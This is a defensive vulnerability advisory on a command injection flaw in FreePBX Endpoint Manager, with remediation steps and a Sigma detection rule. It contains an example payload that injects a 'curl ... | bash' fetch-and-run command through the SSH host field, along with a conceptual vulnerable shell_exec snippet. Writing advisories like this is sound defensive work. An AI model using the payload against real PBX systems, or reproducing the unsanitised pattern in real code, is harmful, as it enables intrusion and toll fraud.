CVE-2025-64328: Sangoma FreePBX Endpoint Manager -- Post-Auth OS Command Injection

Background

FreePBX is one of the most widely deployed open-source PBX (Private Branch Exchange) management interfaces, used by businesses globally to manage VoIP telephone systems built on Asterisk. The Endpoint Manager module handles configuration and provisioning of IP phones and endpoints connected to the PBX system.

CVE-2025-64328 is a post-authentication command injection vulnerability (CWE-78) in the Endpoint Manager’s testconnection function, specifically in the check_ssh_connect() code path. An authenticated attacker — whether a legitimate user with lower privileges or one who has obtained valid credentials — can inject OS commands executed as the asterisk system user.

CISA added this to the KEV catalog on 2026-02-03. VoIP systems are high-value targets for toll fraud operators, corporate espionage actors seeking call recording access, and ransomware groups targeting communications infrastructure.

Technical Mechanism

CWE-78 (OS Command Injection) occurs in the check_ssh_connect() function when user-supplied SSH host or credential parameters are passed unsanitized to a system shell call.

// Vulnerable PHP pattern in FreePBX Endpoint Manager (conceptual)
function check_ssh_connect($host, $user, $password) {
    // Bug: $host not sanitized before shell execution
    $cmd = "ssh -o StrictHostKeyChecking=no {$user}@{$host} 'echo connected' 2>&1";
    $output = shell_exec($cmd);
    return $output;
}

// Attacker payload for $host:
// "10.0.0.1; curl http://attacker.com/shell.sh | bash #"
// Executed: ssh -o StrictHostKeyChecking=no [email protected]; curl ... | bash

The injected command runs as the asterisk user (the FreePBX system service account), which has access to PBX configuration, call records, voicemail data, and potentially the underlying OS filesystem.

Real-World Exploitation Evidence

CISA’s KEV listing confirms active exploitation. FreePBX is a common target for toll fraud actors who compromise PBX systems to make unauthorized international calls, generating significant financial losses. Post-exploitation of the asterisk user account enables access to CDRs (Call Detail Records), voicemail recordings, SIP trunk credentials, and configuration that can be used to make fraudulent calls. Ransomware groups have also targeted PBX systems to disrupt business communications as leverage.

Impact Assessment

• Remote code execution as the asterisk service user
• Access to all PBX call records, voicemail recordings, and configuration
• Theft of SIP trunk credentials enabling toll fraud
• Disruption of business voice communications
• Pivot to underlying Linux OS from the asterisk user context

Affected Versions

Remediation Steps

1. Update the FreePBX Endpoint Manager module to the patched version.
2. Restrict administrative access to FreePBX GUI to trusted internal IPs only.
3. Audit FreePBX user accounts for unauthorized additions.
4. Review CDRs for anomalous outbound call patterns indicative of toll fraud.
5. Rotate SIP trunk credentials and FreePBX admin passwords.
6. Enable FreePBX’s built-in intrusion detection for the admin GUI.

Detection Guidance

Log Sources: FreePBX/Asterisk logs, Linux syslog, network flow data.

IOCs: Shell metacharacters in testconnection endpoint parameters; unexpected child processes spawned from asterisk user; unusual outbound connections from the PBX server; anomalous CDR entries for international calls.

Sigma rule:

title: FreePBX Endpoint Manager Command Injection CVE-2025-64328
logsource:
  product: linux
  service: syslog
detection:
  selection:
    process: "asterisk"
    message|contains:
      - "cmd="
      - "shell_exec"
      - "/bin/sh"
    message|contains|any:
      - "curl"
      - "wget"
      - "nc "
      - "bash -i"
  condition: selection
level: high

Timeline

References

• NVD — CVE-2025-64328
• CISA KEV — CVE-2025-64328
• MITRE CVE — CVE-2025-64328